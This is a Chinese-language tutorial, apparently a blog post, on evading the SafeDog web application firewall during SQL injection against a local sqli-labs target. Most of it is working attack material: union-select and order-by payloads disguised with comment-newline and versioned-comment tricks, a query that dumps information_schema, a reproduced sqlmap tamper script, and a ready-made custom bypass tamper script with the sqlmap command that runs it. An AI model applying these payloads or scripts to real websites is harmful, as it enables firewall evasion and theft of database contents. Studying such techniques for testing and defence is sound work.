我们以 order by 3 这个简单的语句为例子
提供思路就是破坏单词去测试:
http://10.211.55.4/Less-2/?id=1 order by 3 (拦截)
http://10.211.55.4/Less-2/?id=1 ordwer by 3 (破坏了order 没有拦截)
http://10.211.55.4/Less-2/?id=1 order bay 3 (破坏了by 没有拦截)
所以狗拦截的东西就是 order by 两个一起出现
所有后面的测试都是按照这个思路初步的判断。
/*! ....*/
在其他很多地方都是注释。/*!....*/
中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行。/*!50001 select * from test */;
这里的50001表示假如 数据库是5.00.01以上版本,该语句才会被执行,基本上只做一个版本的判断。
换行符号
%0a
注释符合
%23
空白字符
"%0a", "%0b", "%0c", "%0d", "%0e", "%0f", "%0g", "%0h", "%0i", "%0j"
不同的数据库不太一样,可以自己查一下
还有一些bypass的常用注释符号
#
--
-- -
--+
//
/**/
/*letmetest*/
;%00
下面是测试成功的例子
order by 绕过
测试 order aby不拦截 ,我们让 by前面的注释掉就可以绕过
http://10.211.55.4/Less-2/?id=1 order %23a%0aby 3
union select绕过 同理
http://10.211.55.4/Less-2/?id=-1 union %23a%0a/*!select*/ 1,2,3
database()绕过
http://10.211.55.4/Less-2/?id=-1 union %23a%0a/*!select*/ 1,%23a%0adatabase/*!*/(),3
一个完整的union查询
http://10.211.55.4/Less-2/?id=-1 union %23a%0a/*!select*/ 1,group_concat(table_name),3 %23a%0a/*!from*/ information_schema.tables where table_schema='security'
还有一种注释版本号的 绕过
http://10.211.55.4/Less-2/?id=-1 union /*!44466select*/ 1,database/*!()*/,3
tamper是sqlmap对其进行扩展的一系列脚本,主要功能是对本来的payload进行特定的更改以绕过waf。
为了好理解直接典例深刨析:
我们理解一下一个常用的tamper :space2comment.py
这个脚本的功能就是:用“/**/”替换空格符
下面是完整的代码
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with comments '/**/'
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls
>>> tamper('SELECT id FROM users')
'SELECT/**/id/**/FROM/**/users'
"""
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "/**/"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += "/**/"
continue
retVal += payload[i]
return retVal
priority优先级
使用了多个tamper时,PRIORITY的参数等级较高的tamper先使用
__priority__ = PRIORITY.LOW
有大概七个等级 LOWEST LOWER = LOW NORMAL HIGH HIGHER HIGHEST
dependencies函数主要是提示用户适用范围
上文中没写,就是没有提示,你要自己知道,其实不写也行就直接pass
def dependencies():
singleTimeWarnMessage("这里输入想显示的内容“)
tamper是重头戏
这是一个简单的双写绕过,tamper里面主要是一个替换的过程
payload就是那些关键词select union这下,经过替换只有return 回去,就是处理好的
def tamper(payload, **kwargs):
return payload.replace('union','uniounionn')
所以中间具体怎么替换就是你的事情了。只有最后return回去就好了
这里我说下几个坑点:
手工过和写tamper不一样,sqlmap的语句和你用的并不一样
我有两个建议,一个是用slqmap 挂代理到burp去看到底可以不,我没用这个方法,点的有点累
我是打开 -v 参数,去看payload和提示,看哪里断开,复制payload去手工看看,绕过编写一下tamper
还有调试过程中 要打开–flush 参数刷新缓存
还有一个就是你的python代码能力了,如果你只是用简单的replace()函数,就要注意替换的顺序,
例如会用到的相似的函数:
SESSION_USER() CURRENT_USER() USER()
这几个都有 user() 如果你在最前面 替换了user()
那么后面就会出现CURRENT_%23a%0aUSER/*!*/() 我这种绕过就不兼容了
得在后面再自己调整
python3 sqlmap.py -u "http://10.211.55.4/Less-2/?id=1" --tamper dogz.py --random-agent --flush -v 3 --batch --dbms mysql --current-user –-tech=U
绕狗脚本给大家,如果跑的时候失效了可以按照上面的方法修改修改就好了
#!/usr/bin/python3.7
# Author:Zeo
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("Zeo_bypass_safedog4.0")
def tamper(payload, **kwargs):
payload=payload.replace('AND','/*!44466AND*/')
payload=payload.replace('ORDER','/*!44466order*/')
payload=payload.replace('BY','%23a%0aby')
payload=payload.replace('USER()','%23a%0aUSER/*!*/()')
payload=payload.replace('DATABASE()','%23a%0aDATABASE/*!*/()')
payload=payload.replace('SESSION_%23a%0aUSER/*!*/()','%23a%0aSESSION_USER()')
payload=payload.replace('UNION ALL SELECT','UNION ALL /*!44466SELECT*/')
payload=payload.replace('CURRENT_%23a%0aUSER/*!*/()','CURRENT_USER()')
return payload
最终绕过安全狗成功跑出数据